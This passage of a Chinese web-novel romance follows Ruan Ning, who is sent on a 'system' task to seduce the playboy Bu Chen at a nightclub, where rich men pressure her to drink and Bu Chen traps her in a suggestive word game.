面对如此阴险狡诈、毫无道德底线的人,女配浅薄的小伎俩怎么是他的对手。
步宸在包厢里
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反手把女配药倒,笑嘻嘻等她醒来。
这时候,女配叫的送洗服务来了,来人的正巧是女主曾书雅。她本是来替同事送衣服,意外撞见了女配和步宸的丑事。
步宸看到清纯不谙世事的曾书雅,对她有了兴趣。恶毒女配竹篮打水一场空,反促一手成了男女主命运般的邂逅。
阮柠揉揉额头,真想劝女配别折腾了,况且这个任务根本是强人所难嘛。
她从小到大连男生的手都没牵过,现在却要她去勾引海王,这跟羊入虎口有什么区别?
阮柠只能劝自己步宸是三个男主中相对好接触的安慰自己。
或许因为花花公子总有点怜香惜玉的心理,步宸是三个男主中唯一放过女配一马的人。只是后来女配不断作死偏要谋害女主才丢了性命。
阮柠料想这次任务艰巨,专门报了个撩汉大师班,按照老师指示,在任务正式开始之前暗中去撩夏观察踩点。
她拿出压箱底的性感衣服,一件香槟金吊带裙,精心化了一个妆,鼓足勇气迈进夜店正门。
撩夏不愧是塔伦首屈一指的夜场,场地宽阔环境高档。只是摆脱不了夜场一贯的淫靡浮浪,处都是彩色激光在人脸上扫来扫去,音乐炸裂的阮柠耳朵发麻。
放眼望去,舞池中央全是男男女女在疯狂扭动,酒精、香水混在一起发出刺鼻气味,熏的阮柠刚进门就想跑。
来这的人除了少部分正经陪朋友出来玩的,大多是想猎艳约泡的寂寞男女。清新明艳的阮柠刚一入场,就像小绵羊踏进了狼窝,男人们从四面八方围过来,像被磁铁吸过来一样。
阮柠忍住紧张和害怕,冷着脸谢绝一切搭讪,按照撩汉班老师说的找了个吧台位置坐下。旁座的男人看她远远走过来,便流里流气地凑过来要请她喝酒。
酒吧当然没有白喝的酒,阮柠冷冷拒绝,自己点了一杯。
这里的价格真不便宜,一杯苏打水就要60多,放外面可以买一打。不过既然是带着目的而来,再贵阮柠也只能忍了。
阮柠不知道步宸到底什么时候来,一个人坐在吧台上无聊等待,中途不断有男人像苍蝇一样围着她嗡嗡转,阮柠强忍恶心赶跑了一批又一批。
她注意到,左手边最近的一个卡座上有几个大美女依偎在猥琐中年秃头身边,任其热吻上下咸猪手。
美女穿着性感的低胸紧身裙,身材又高又瘦,毫不夸张的说都是女神级别。
他们旁若无人的亲密缠绵,看的阮柠面红耳赤别过脸不敢去看。
阮柠惊诧姐姐们长得这么漂亮,为什么要做这个。
不过她更厌恶美女身边的秃头,他们仗着有点钱便玩弄女性,诱拐哄骗年轻女性,他们才是罪魁祸首。
阮柠叹一口气,其实她也知道就算自己再看不过眼也没有用。
此类场景在撩夏里比比皆是。这里是举国闻名的快乐窝,世界各地各种肤色种族的漂亮姑娘一大堆,专供有钱人消遣。可想而知以撩夏为家的步宸多么邪恶堕落。
阮柠独自一人坐到11点,困的眼皮打架,忽然全场振奋,服务生成群向门口迎接,人们热情欢呼。
“步少爷来啦!”
12. 第 12 章
阮柠脑子一下清醒过来——目标出现了!
她第一次见这种阵仗,全场姑娘、服务员们疯了一样朝挤门口挤去,她也急忙跑过去加入欢迎的人群。
人们自觉分列两边夹道欢迎,步宸带着几个金发碧眼的帅哥,后面跟着几个肌肉大块头保镖逆着光线踩着DJ鼓点进场。
步宸又高又瘦,逆光的门洞里拉出超模般的影子。
他穿着浅色休闲西装,黑色长发略带卷曲,比女人还紧致窄小的脸上长了一双深邃的桃花眼。琥珀色浅瞳笑起来坏坏的,浑身上下张扬着一股野性不羁的帅气。
步宸上来先送了一片飞吻,潇洒地向四面挥手:“姑娘们晚上好!”
全场女生顿时跟疯了一样尖叫。
“步公子晚上好!”“步宸我爱你!”“步宸你好帅!”“您怎么才来,我都等您一晚上了。”
步宸表情很是享受,笑眯眯地边走边向两边挥手、雨露均沾,哪边都不落下。
他目光稍稍在停留之处,女生便像扑食的锦鲤似的挤过去,抢占他的视野。
阮柠心想,有这么夸张吗。不就是个瓢客,搞的跟明星演唱会似的。这么多人挤在昏暗的过道,脸都看不清,喊得再卖力又有什么用呢。
显然,全场只有她一人是这样的想法,大家不管能不能被步宸看到都一刻不停喊得喉咙发哑。
随着步宸一行人不断靠近,阮柠两边的女生愈发激动,她不屑的嘴角也越发上扬。
步宸放浪欢快的目光缓缓扫过人群。经过阮柠的一瞬间,忽然目光停住,眼波狡黠,如猫儿戏鼠般饶有趣味地盯着阮柠。
阮柠微愣,咦,步宸好像正在看我?
她立即放下嘴角低下头装作什么事都没发生。一定是自己看错了,步宸只是恰好路过。
但对方精致高档的皮鞋停在原地,没有走的意思。
阮柠局促不安地偷偷抬起头,步宸竟然还盯着她,琥珀色瞳眸中藏着一丝捉弄人的窃喜。
完了。
阮柠眼前一片发黑,竟然被本人当场抓包,她还没做出反应时疯狂的女生们先涌过来把她淹没。
“啊啊啊啊步公子刚刚看我了。”“步宸你好帅啊!”“我爱你步少爷!”
汹涌的人群把阮柠挤到后面差点摔倒,阮柠慌里慌张爬起来弯腰溜走。
金发帅哥奇怪步宸为何突然停下,拍拍好友问:“你在看什么,怎么不走了?”
“没什么,开始玩吧。”步宸转过头,嘴角弯起一道不可察觉的弧度,“我都等不及了。”
步宸带着朋友在万众期待中款款落入酒吧专属他的至尊卡座。
卡座正对着舞台中央,场地开阔视野极佳,刚一坐下,服务员们便鱼贯端来精美的高端果盘、垒成金字塔状的彩光酒塔,和各式各样的的酒桌玩具,铺满了整张桌子。
步宸直径走到沙发最中间,长腿交叠打响指叫来服务生,下巴点了点金发帅哥:“带这位帅哥去摇铃。”
“不是吧老兄,屁股还没坐热就要摇铃,有这么急吗,你让我缓缓。”金发帅哥哭笑不得。
金发帅哥是c国石油大亨的小儿子亚伦,前几天突然打电话说想来a国散散心,步宸当即表示热烈欢迎,说要带他玩透塔伦嗨的不想回国。
步宸爱玩在圈内人尽皆知,亚伦没想到这老哥是真的精力超群。
他坐七八个小时私人飞机从c国飞过来觉得有点累,想倒个时差休息一下,结果这老哥说自己刚坐十五个小时飞机从国外赶回过来接他,不由分说把他拉进夜店。
“你已经失去了生命中宝贵的八个小时,不更应该抓紧时间享受生活吗?”步宸坐在去往撩夏的商务车上跟老弟碰杯。
亚伦挠了挠头,a国的确比c国快8个小时,还真想不到什么反对的理由。
亚伦也算夜店常客,只是最近玩的过火多少想悠着点。步宸就不同了,他熬三天三夜都不带喘的,无论何时都神采奕奕光彩照人,简直为夜店而生。
“去吧,酒都给你点好了。摇铃当然要留给尊贵的客人。”步宸冲他一笑,递给亚伦平板让他看看还有什么想补充的。
撩夏氛围极好,亚伦刚一入场就迅速进入状态忘了时差。他舔舔嘴唇嘿嘿一笑,站起来提了提腰带:“那我就不跟老哥客气了。”
旁边服务员侍候惯了权贵富二代,话音刚落便颇有眼色的哈腰给少爷带路。
步宸落座后,卡座四周里三层外三层被人围的的水泄不通,阮柠被远远隔在外面,不知道里面在说什么。找了个邻近的位置,悄悄摸过去观察。
这时亚伦走到舞台中央,美滋滋地挥动悬空的巨型金铃铛,当当当当,大厅一阵金属巨响,顿时场内沸腾,人们爆发阵阵尖叫朝亚伦吹口哨鼓掌,像极了狂欢节现场。
阮柠不明白发生了什么。为什么周围的人都高兴极了,只有她一个人不明所以。
她正想找周围的人问一问,这时服务员们端着盛满女士酒杯的盘子从吧台倾巢而出,见人就送。
服务生见到阮柠,笑吟吟地递了一杯给她:“这是步公子请您的,请慢用。”
原来摇铃铛代表着请全场女生喝酒!
阮柠当场惊掉下巴。
撩夏这么大的场子少说有几千人,一大半都是女生,而且撩夏的酒水饮料都不便宜,小小的一shot至少三位数起步,请一次全场估计得花掉几十万。
有些人真是爱当财神,阮柠暗暗惊叹。
但没过多久,她就推翻了自己的想法。
按照规矩,领了酒的女生都要排队去致谢,因此摇铃的人便可以一次性看遍全场妹子,看到有眼缘便请她坐下来一起玩。
这不就是选妃嘛,后知后觉的阮柠恶心地直皱眉。
她的自尊心不容许自己被人挑挑拣拣,可倘若她直接走掉,精心策划的踩点计划就泡汤了。
阮柠长吐一口气,逼自己忍耐。往好处想,去敬酒至少可以近距离观察步宸。而且刚才过道上灯光太暗又有那么多女生,步宸不可能记得自己。有什么好害怕的,不就是碰个杯吗。
铃铛响后,舞池空了大半,美女们都端着酒杯嘻嘻哈哈走到卡座附近排起队伍。阮柠也端起酒
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杯加入到敬酒的行列。
队伍长的绕了几个弯看不见头也看不见尾,一眼望去全是由各式各样的美女组成,羡煞全场男性。阮柠排在其中,却好像浑身有无数小虫子在爬,刺痒的难受。
她朝前张望了一眼,大部分女生都是端着酒规规矩矩地走到几位公子哥面前说声谢谢,抿一口就算过。偶尔几个会特意对步宸多笑一下,“谢谢步公子。”所以队伍虽然长但也排的很快。
可时间越久,人们越发放肆大胆起来,女生们开始变着花样调戏步宸、吸引他的注意。
有的自带酒杯要反过来请步宸喝酒,有敬酒前先腰臀扭胯先上一段主播舞的,还有当场脱衣漏肩的,看得阮柠瞠目结舌。
这些美女无一例外都美的惊心动魄,放在网上至少是百万粉丝大网红级别,可是步宸始终懒懒靠在沙发上,一手支起脑袋礼貌谢过,兴趣阑珊的样子。
阮柠愈发紧张,看来海王真是身经百战,面对千姿百态的大美女早已毫无波澜。自己这种小趴菜还能入的了他的眼吗?
队伍越来越短眼看就要到尽头,亚伦说了一晚上“不用谢”没看到几个中意的妹子想回酒店歇着:“哥,今晚妹子质量不行啊。我先回去了,不用喊我吃宵夜了。”
步宸漫不经心回着手机消息:“你们c国人就是没耐心,我们a国有句俗语,最美味的冰淇淋在勺子刮下的最后一口。有点耐性和风度,别总像个暴发户好吗。”
亚伦委屈:“谁跟你家比不是暴发户?你看看铃也摇了,酒也喝了,来的都是啥。”
步宸抬眼扫了一眼剩下的人群,不可置否。就在收眼一刻,他在墙角人群中瞄到了阮柠。
她肤白窈窕,眉头微蹙,浑身上下流淌着一股静谧的气质,在欲念横流的夜场显得格外清纯冷傲。
这张脸他在入场时就注意到,一群挤出牙花的笑脸中忽然出现一个不忿的嘲讽脸,很是特别。
现在的她也很不高兴,嘴角朝下,脸撇向另一边。
步宸琥珀色的浅瞳微眨,目光停留片刻。
“行,你先回去休息吧,虚就多补。”
亚伦气得想锤步宸,没想到这时一个的敬酒美女走过来比他先下手。
美女直接靠到步宸身上,娇滴滴地说了一句:“亲爱的,咱们一起喝嘛。”
美女性感丰腴,妖妖娆娆地往步宸肩上一靠,露出深深的□□,另一只朱蔻美甲的玉手钻入步宸胸口缓缓摩挲。亚伦顿时和周围人一起爆发尖声哄笑,他最喜欢看兄弟们被美女调戏。
阮柠听到前面突然爆发一阵大笑,茫然转过头,看见步宸正怀里坐着一个性感美女,两人你侬我侬柔情蜜意。
这、这是要干什么?
她惊讶地捂住嘴,羞的面红耳赤,想看又不敢看,只见美女喝了一口酒含在嘴里,缓缓贴到步宸唇边……
阮柠完全失去了语言,紧张地盯着步宸反应。
步宸并没有拒绝,任由美女靠近,周围人也起哄的越来越大声。
就在两人即将相贴的时候,步宸突然抬眸,向阮柠射来戏谑轻佻的目光。
13. 第 13 章
阮柠慌了,像触电般立马躲开,耳根顺着脖颈一路红透。
刚刚步宸不会在看自己吧?
她鼓起勇气偷偷瞄了一眼,看到步宸在和美女眉目传情,悬着心总算放下来。
此时全场起哄两人“亲一个”“亲一个”,步宸深情款款地望着美女,美女也柔情蜜意地回望着他,两人的眼神简直能拉出丝来,看的阮柠面红耳赤。
美女故意放缓动作,缱绻地顺着步宸胸前缓缓上爬,宛如一支浓艳悱恻的玫瑰,两人鼻间的距离越来越近……阮柠羞赧地闭上眼不敢乱看,心里呸了一句海王。
就在娇艳红唇与步宸仅有呼吸之隔时,突然听到:
“时间到。”
步宸敏捷地往后一靠,搭着沙发,唇角勾笑,“抱歉,美丽的小姐,虽然我很舍不得你。但是,下一位。”
美女惊诧,明明刚才两人还在眉目传情,怎么说变脸就变脸。她还想勾着脖子继续被步宸拒绝。
亚伦大失所望:“不是吧老哥,你脑子里在想啥,送上门的香吻都不要。”
步宸撩心入骨的嗓音带着些许抱歉,但恶劣的笑容看不出太多歉意。
“我给每个人的人的时间都是5分钟,我很抱歉,小姐你的时间到了。”
“步公子你——”美女气到表情失去管理,把酒杯重重扣在桌上,推开步宸怒气离去。
亚伦:“?”
步宸露出无辜的笑容:“全世界可爱的姑娘这么多,我舍不得任何一个被冷落。所以每个人都只给5分钟,很公平不是吗。”
亚伦没话说,捞起外套直径走出沙发:“你今晚鬼上身了?不想玩拉倒,我要回去补觉,明天白天别叫我。”
他走了几步忽然看到卡座附近的阮柠,顿时停住脚步。
有时老司机寻求的是一种感觉,漂亮性感的女生每天都有,但气质独特的却难得一见。
阮柠站在那,像看了一晚上繁花似锦姹紫嫣红,偶然瞥见一缕清皎的圆月,看的亚伦惊艳入迷、恋恋不舍。
他脑海里全是阮柠站在人群中惴惴不安摩挲手臂的模样,想了一下,转过头把外套往沙发一丢,又灰溜溜地挤进来。
步宸伸出长腿拦住,眼含笑意:“这么快就到明天晚上了?”
亚伦岔开坐下,闷了大口酒:“怎么,我突然又不想走了不行吗?”
步宸满意地点点头:“很懂我的规矩,不过只罚一杯可不够。”
阮柠并没意识到自己被人盯上,专心复习着老师教的技巧。队伍越来越短,一部会儿就轮到了她。阮柠从容地走到酒桌面前,深吸一口气,举起酒杯对卡座转了一圈:“谢谢各位少爷。”
又单独对步宸说了一句:“谢谢步公子。”
“不客气。”
步宸慵懒地靠在沙发上,以主人般的姿态松开全身。琥珀色眼眸微眯,像裹了光的琉璃。眼尾微翘,带着些许似醉非醉的笑意。
阮柠顿时眼神凝固,干巴重复了一遍:“谢谢步公子。”
早在排队时阮柠便领略了这双电眼的威力,凡是跟他对视过的女生莫不脸颊绯红不敢直视。直到方才对视的瞬间才明白什么叫坏男人的蛊惑力。
明明是个换女朋友比换衣服还勤的人,步宸的眼神却深情的仿佛能把人吸进去,好像全天下只有你一人。
“不客气,今晚要玩的开心哦。”
步宸微笑着看阮柠慌乱到不知所措,体贴的多安慰了她一句。
阮柠急忙避开眼神,脸颊微微发烧。原来碰到了真正的大师,所有的招术都会像风中扬沙一样毫无用处。
亚伦好不容易等到阮柠,不等她敬完酒便迫不及待地插进来:“哈哈哈,你紧张了,好可爱,一起过来玩玩呗。”
亚伦又高又壮,挡在阮柠面前,像一堵山把她与周围隔绝开来,逼的阮柠不得不面对他眼神赤果果的眼神。
阮柠被他盯的浑身不自在,几乎脱口而出:“不好意思,我已经跟朋友约好了。”
亚伦只当没听见,兴致勃勃地说:“那正好,把你的朋友叫过来一起。我们人多热闹,你们跟着我一定玩的开心痛快。”
“啊?”
阮柠没想到他紧追不放,慌乱间瞟了一眼沙发,步宸淡定地坐在原处,仿佛一个局外人。
阮柠不知哪来的勇气,认真重复了一遍:“真的不用了,我们自己玩就好了,谢谢你们。”
此话一出,空气停滞了几秒,几乎周围所有人都齐刷刷转过头来望向阮柠,仿佛看她是个异类——还有人敢拒绝步宸的局?!周围人们挡住嘴小声议论,路过的服务员更是收起了盘子踮脚看到底谁这么身在福中不知福。
阮柠额头浸出微汗,她知道这是系统交给她的任务。当真正发生时才知道,这对性格内向的她来说还是太过了。
亚伦拉下脸:“你看没看清楚我们是谁——”
卡座上的其他少爷也跟着附和哄诱。
“美女你怕什么,我们又不是坏人。”
“过来跟哥哥喝杯酒嘛,你不要想太多,只要玩的开心就好了。”
怎么能不想太多。
来之前阮柠就打听过了,撩夏里有个不成文的规矩,凡女生愿意跟你喝酒,都默认可以被你带走。
阮柠心慌,她只是来踩点的,没做好牺牲更多的准备啊。
“不用啦,谢谢你们的好意,还是下次吧。”阮柠努力挤出笑容。
一想到他们都是手眼通天的富家公子,阮柠语气又弱了几分,想着尽量委婉不伤和气。
可亚伦不达目的不罢休,甚至上手来拉阮柠:“你看我这么诚心好歹给个面子嘛,就请你喝杯酒,我还能害你不成?”
“不,不要……”阮柠应激似后退,甩开亚伦。
亚伦被彻底激怒:“你不要敬酒不吃吃罚酒——”
对方突然眼神暗下来,露出有钱人的骄横,阮柠打了个寒颤:“对、对不起……但我真的不能……”
周围暗中替阮柠捏了一把汗,亚伦是石油大亨的儿子,除非不想混了才去得罪他,阮柠晚上一再当众削他面子估计没好果子吃了。
阮柠也想到了这点,叹一口气,小声说:“那好吧……”
“可惜我们来的不凑巧,既然这位小姐不方便就让她走吧。”
就在阮柠被迫答应之时,步宸清朗磁性的嗓音忽然穿过重重人群,大家一片骇然,步公子刚刚是发话了吗?
步宸映着淡光
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的眼眸眯起,似有笑意倏然蔓延开来,目光在阮柠身上流连:“虽然有点遗憾,请小姐下次给我预留一个一号位好吗。”
他说得温柔诚恳,简直不像出自一位风流花心富少之口。
亚伦不可置信地大喊:“阿步你说什么?我看了她一路你说放走就放走了?”
阮柠心情一片混乱,眼神在步宸和亚伦两位贵公子之间来回穿梭,一边是凶神恶煞的威胁恐吓,一边是春风化雨的绅士体贴,两个都是她得罪不起的人,她一时糊涂不知该听谁的。
步宸对亚伦微微一笑:“你也应该了解我——从不勉强女人。”
步宸的语调带着他一贯的优雅从容,压过了亚伦满脸的怒火,亚伦不服气地把脸撇向一边。
步宸用眼神给阮柠指了个方向,水泄不通的卡座立马让出一条宽阔道路,像在昏暗中劈出一道光。
“谢谢!”阮柠惊魂未定,对传说中恶名在外的步宸竟然产生了丝丝感激,然后头也不回地飞逃出去。
亚伦眼睁睁看着心心念念的美女逃走,冲步宸大喊。
“你今晚到底搞什么鬼?”
“我整晚就看上这么一个你居然放走了。”
“我跟你不一样,我不玩绅士那套!她是我看上的,你为什么要插手?”
步宸优雅抿了一口酒,用他一贯性半嘲半开玩笑地语调:“多大点事至于生这么大气,撩夏最不缺的就是美女。”
阮柠跑出来后迎面吹了一缕凉风,身体哆嗦了一下。
刚刚像一场梦似的,心狠手辣的步宸居然没怪她不给面子,反而放她离开?
冷静下来后,阮柠想起自己刚当着众人的面一再拒绝步宸,吓得简直要抽过去。
步宸是什么人,是名媛舞会里一群上流社会捆一起都奈何不了的人,收拾自己估计都不用动小指头。怎么会不付出一点代价就让自己离开呢。
她不放心地又摸回卡座探听。
卡座那群人正玩的欢快,发出阵阵爆笑。阮柠扒开人群一看,此刻卡座上坐满了风情万种美女,步宸正坐在其中玩游戏、发小费。
一垛一垛的百元现钞插在酒杯里,无论是谁,只要来人就给,拿了小费的服务员们殷勤谄媚地蹲在地上倒茶、捏捏腿、递纸巾,座上美女高兴的拍手大笑,哄笑着一起抢钱塞进包里,笑声此起彼伏。
原来,她刚才的拒绝就像湖泊上的一圈小水花,卡座上热热闹闹的好像什么都没发生过。
这下阮柠完全懂了,步宸帮自己并不是因为好心,而是根本就没把自己当回事。
也算她命好,有钱人的世界你不答应有的是人答应,所以步宸也不会跟她这个路人甲计较。
最后,阮柠拖着疲惫的身躯回到家,不住可惜踩点计划因为胆小失败了。撩汉班的老师安慰她,混夜店的男人根本记不住女生的长相,只要她再努力努力,还有机会重开一局。老师又把课程要点拆开了揉碎了喂到她嘴里,认真负责地重新教了一遍。
这回阮柠听的无比认真。
一时间一晃到了任务发生的周六晚上,阮柠坐在梳妆台前一笔一笔细致描眉。
她暗自下决心,这次一定抛下自尊、犹豫、彷徨,不达目的誓不罢休。
14. 第 14 章
周六晚上,阮柠整理好情绪重新出发。
今天步宸包了全场,店里各个卡座都是他的亲友熟人。
阮柠今天特意换了条更加性感大胆的吊带小黑裙,头发盘起,银色大耳环烟熏妆,连老师都差点认不出来。
她本就偏浓的五官更加光彩夺目,像沾着露滴的红丝绒玫瑰,一入场就被男人们集体吹口哨。
阮柠出众的容貌像一张畅通无阻的通行卡,毫不费力地混入离步宸最近的一个卡座。
在场的人都知道,步宸的卡座没邀请的话不得随意落座,但是很奇怪,对美女来者不拒的他最近都没怎么邀人。阮柠只好找个离步宸最近的位置偷偷观察。
步宸晚上大部分时间都在跟朋友聊天,偶尔起来接个电话,或者去别的卡座打个招呼。
他胸口的衬衫散开,露出清晰性感的锁骨,深邃立体的侧脸在夜店五光十色的灯光下潇洒魅惑。
中间时不时有美女去敬酒,步宸慢条斯理旋转着威士忌杯,露出抱歉的笑容:“今天不凑巧,下次专程请你们喝一杯吧。”
美女们受宠若惊:“步公子您说的哪的话,您忙您的。那下一次定要好好补偿我们姐妹两哦。”
步宸拒绝的温柔绅士,丝毫让人感觉不到冒犯,美女们虽然有些遗憾,只能带着酒杯原样端过去又原样端回来。
阮柠惊诧,这还是她认识的步宸吗,风流海王居然转性了?
她一时看得入神差点忘了自己正在卡座上陪人玩游戏。
虽说是玩游戏,其实都是其实都是用来灌醉女生方便有钱人揩油的手段。到目前为止,同座大部分女生被灌的昏昏欲睡,满座酒气熏天,只有阮柠还滴酒未沾。
一位喝的半醉的富家大少发现了这点,把阮柠从人群中揪出来训斥:“哎哎哎,玩到现在这位美女还一口没喝,你们谁看到她喝了没?”
其余人都摇头说没有,顿时不满像尘沙似的席卷而来。
“来酒吧怎么能不喝酒?必须喝,不喝像话吗真是。”
阮柠脸上陪着笑:“可是我没输呀,没输就不用喝的。”
“规矩?什么规矩,我说的就是规矩!”富少打了个酒嗝,旁边人跟着附和。
在有钱人眼里,什么游戏、什么搭讪都是客套,最终目的就是为了把妹子灌醉带走,而大部分妹子也很配合,所以偶尔出现一个像阮柠这样的便显得格外扎眼,成了众矢之的。
人们杂声嘈嘈涌过来围住阮柠。
“这杯你必须喝了!出来玩就图个开心,放开点别扭扭捏捏!”
富少把一杯酒用力推到阮柠面前,又嫌不够,支着歪歪扭扭的身子拿酒瓶倒进去,杯子很快溢满流到桌面上。
“你喝了这杯,之前欠的就一笔勾销。哥哥就原谅你了,嗝儿……”
阮柠无语至极,无论是摇骰子还是玩纸牌,她从进门起就没输过一场哪里欠他们了。况且她今天还带着任务来,绝不能醉倒在拦路怪身上。
“可是哥哥我今天不舒服,不想喝嘛。放过我好不好。”
阮柠摇摇肩膀撒娇,不曾想这一小猫摇尾的姿势反而激起了纨绔们的征服欲。越来越多的人围过来起哄逼阮柠喝下,甚至有好事者拿来几个空杯子,又多倒了几杯。
“妹妹咱们不说游戏,单陪哥哥喝一杯好不好。”他们笑嘻嘻地看着阮柠,伸手要来摸她脸蛋。
阮柠吓的差点表情失去管理,人一流氓起来真是无法无天,要不是系统所迫,她一辈子都不会来这么肮脏的地方!
“不喝不喝,我没输就不喝,谁来了都不喝。”
阮柠打定了主意,不管他们怎么诱哄施压,身子稳稳坐在位置上不动一分。
“唉,你这小姑娘怎么这么不识趣呢,今天是步公子的专场,你不喝就是不给宸哥面子。”
眼看越来越多的醉鬼围过来起哄灌她酒,阮柠起身找了个借口离开,忽然人群中响起一个磁性沉缓的声音:“你们一群人欺负一个姑娘好意思嘛。”
众人一看,步宸端着一杯威士忌斜斜靠在立柱上,桃花眼微微上翘,说不出的痞帅风流。
阮柠惊喜交加,努力拉平颤抖的嗓音,轻轻点头。
人们让出一条通道,拍拍沙发空位请最尊贵的少爷坐下,心里不住叫冤:“宸哥,哪是我们欺负她?都来撩夏了还装什么纯,你说扫不扫兴。”
步宸目光这才落在阮柠身上,不声不息地打量了一会儿,眼底弥漫上一层雾气,眸色深沉。
他问:“小姐是第一次来撩夏?”
阮柠心里咯噔了一下,不明白他为什么这么问,犹豫了一会儿肯定回答:“是。”
“这样……”步宸恍然若思,转过头对人们笑道:“人家第一次来难免不懂规矩,你们别吓着人小姑娘了。”
富家大少已经醉得睁不开眼睛,还没卸下这口气,打了个酒嗝骂道:“不是,宸哥。你不能看她长得漂亮就坏了规矩,今天就是天王老子来了也得喝。”
旁边人也跟着抗议,一声高过一声,顿时整个舞厅都回响着“喝!”“喝!”“喝!”
阮柠害怕极了,从未感到如此孤立无援,自己好像被狼群环伺,它们稍不留神就会扑上来撕个粉碎。<
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p>茫然无措间,她向步宸投去祈求的眼神。上次步宸就救了她一次,说不定还会再救她一次!
步宸嘴角弯起一抹玩味的笑容:“你也看到了,我的朋友们意见很大。不过,来撩夏不喝一杯确实说不过去,你觉着呢。”
阮柠眉头渐渐拧紧,没有吐一个字。
“不如咱们玩几盘游戏,如果你赢了当然你说了算,如果你输了话……”
步宸轻笑看着桌上溢满的那杯酒,透明冰块浸在琥珀色酒液中闪出水晶的光芒。
阮柠松一口气,答应的很爽快:“没问题,骰子、纸牌、猜拳你随便挑一样,要是我输了愿赌服输。”
刚才差点吓到,看来步宸海王人设不倒,只要是姑娘都不会特别为难。
阮柠笑意浸染的眼睛格外明亮。不是她狂妄,论玩游戏在坐都不是她的对手。
虽然她看着乖巧内向,私下里是个宗师级别的游戏宅女。不管麻将牌九还是骰子猜拳都玩的有模有样,加上来之前特意加强训练了一番,只要不耍赖,全场能让她举起酒杯都没几人。
“这位小姐看着很自信嘛,”步宸语调温柔又亲切,“骰子纸牌我没兴趣,不如玩个简单点的?”
阮柠微微歪头,好奇步宸到底要说什么,周围人也聚精会神看步少爷想玩什么花样。
“逛三园。”
周围发出一声失望的叹气。
阮柠轻笑,她做好了权利的准备,结果是个小儿科游戏。逛三园玩法很简单,一个人提问xx里面有什么,余下的人按顺序挨个回答,答不上来就算输。
她不敢说自己知识多么渊博,但是比词汇量还不容易吗。
步宸前几轮游戏问的都很简单,无非“社交软件有什么?”“酒吧里面有什么?”
阮柠答的游刃有余,全程优雅从容。
步宸纵容迁就地看了一眼阮柠,眼里突然闪过一丝狡黠的光:“情去用品有什么?”
啊?什么?
阮柠突然觉得双腿被突然打断,扑通一下跪地上。
全场当即爆发猥琐的大笑,阮柠这才回过神上了步宸的当。
这、这根本就不讲武德,这种问题她怎么答的上来嘛!
座位上的人倒是一个接一个抢着回答。
“蜡烛!”
“皮鞭!”
“黑丝!”
……
阮柠脖子红到耳朵根,现场爆发出阵阵暧昧低俗的狂笑,这下真把她难倒了,这是一个打死她都答不上来的问题。步宸一定是算准了才故意这么问的。
步宸为什么要这么做?
15. 第 15 章
阮柠心中含怨,瞥过去步宸正趣意狡黠地望着自己,眼神慵懒痞气。
她笑也不是,怒也不是,踌躇瞬间纨绔富少一哄而上拥过来嚷着罚酒。
虽然人们叫的很凶,但实际上远轮不到阮柠亲自来喝。在场嘉宾自她进场就盯上了这位难得一见的美人,他们盼了一晚上终于盼到阮柠输掉游戏,迫不及待来替她受罚。
“美女,你亲我一口,我就替你喝了。”
“你叫声爱哥哥,我替你罚好不好。”
刚才龇牙咧嘴的富少们此刻嘴上一个比一个仗义好听,争先恐后抢着要帮阮柠喝酒。阮柠目之所及都是他们猥琐的奸笑,胃里一阵犯呕。
她看清楚了,不管结果是输是赢,都不过是有钱人逗弄人的把戏。他们早就盼着自己输,好接着挡酒的由头揩油聊骚。
阮柠看准了桌上一杯最少的抢过来仰头咕咚咕咚灌下,咬牙笑了笑:“大家都看到了,我愿赌服输。”
“哎,美女怎么跟哥哥这么见外。”富少们美梦破灭心有不甘,暗叹美女好大的气性,喊着再玩一局。
阮柠断断不会再上当,找了个借口起身去卫生间溜走:“咳咳,对不起,我去方便一下。”
刚才喝的太猛现在喉咙火辣辣的疼,此刻酒劲虽然还没上来,但是她渐渐感觉到脑子开始发热。
阮柠直勾勾地盯着镜子中的自己,咳嗽激起的泪花洇湿了眼周的烟熏妆,化成下眼睑的黄豆大的阴影,身后隐隐烧着一股暗火,骄傲又狼狈。
她生气朝镜子甩了一圈水花,好好的步宸为什么要跳出来搅局,一杯酒彻底打乱了她的节奏。
本来她应该游刃有余地等步宸犯困后把他哄走,现在自己还没下手先被他灌个半醉。
那杯酒的威力着实不小,虽然来之前她特意吃了醒酒药以备不时之需,身子却不听使唤地开始发热。如果不能在清醒时刻把步宸勾引到包厢,阮柠不敢打包票自己能否全须全尾安然无恙回去。
现在当务之急是趁着清醒把步宸拿下!
阮柠拍拍自己的脸蛋急忙跑出来,步宸正好离开座位走到舞厅边上打电话。
五光十色的激光扫到他身上勾勒出一个年轻性感的男子廓影,凸出的喉结在手机下一弹一弹,看的阮柠本就不断发热的脑子又有些迷醉。
阮柠呸自己真是酒精上头什么能看什么不能看都分不清了。自己沦落到这番被动局面全拜步宸所赐,他长什么样都跟自己没关系。
上次解围让阮柠对步宸的看法产生了些许动摇,或许他没外面说的那么可恶,但今晚的一杯酒彻底浇醒了她的幻想。
步宸根本不是心存良善的好人,捉弄糟践他人才是本性。就算偶尔施以小恩小惠,过不久又会被他更恶劣的行径夺回摧毁。
他是个喜好无常、心机深沉的人。没人能猜透懂步宸在想什么,阮柠不打算了解也不想了解。
她心里默数着时间,等步宸电话一挂就过去,就冲过去用最简单粗暴的方法完成任务。
步宸今晚的电话格外的长,打完了一个还有一个。
阮柠咬紧下唇,难受原地跺跺脚,双脚越来越虚浮,嘴巴也越来越干,甚至看步宸的轮廓开始变得模糊了。
她等了一个世纪之长,终于等到步宸挂电话,一路扶着墙像踩在棉花上赶过去,扑倒步宸身上:“步公子,呜……我们喝一杯吧……”
阮柠已经醉的睁不开眼睛,摸到衬衫下紧实劲瘦的窄腰,靠在他身上哼哼唧唧。
步宸敛下眼眸,细细瞧趴在自己胸膛上的女孩。
“是你。”
他一眼看出眼前这个浓妆艳抹的少女正是几天前慌忙逃开的那个人,今天看到她再次出现在酒吧,步宸感到一丝意外。
而且,她变得似乎更成熟了。
少女昳丽的五官在酒吧彩色灯光下显得越发娇媚明艳,醉意朦胧的眼睛里倒映着璀光。步宸鼻尖闻到一股着到若有若无的幽香。
步宸稍稍扶了一下摇摇欲坠的阮柠,微微一笑:“小姐你还好吗,请问找我有什么事?”
阮柠仰起头,水灵灵的大眼睛蒙上一层薄雾,像受了委屈的猫咪:“我想找你喝酒好不好嘛……我们两个私下单独喝……”
步宸嘴角噙着一抹笑慢条斯理地问:“哦?为什么是我。你已经醉的不轻了,确定要继续喝吗。”
“你到底去不去嘛。”阮柠眼神迷离,生气地锤了一下步宸胸膛,喷了个小酒嗝。
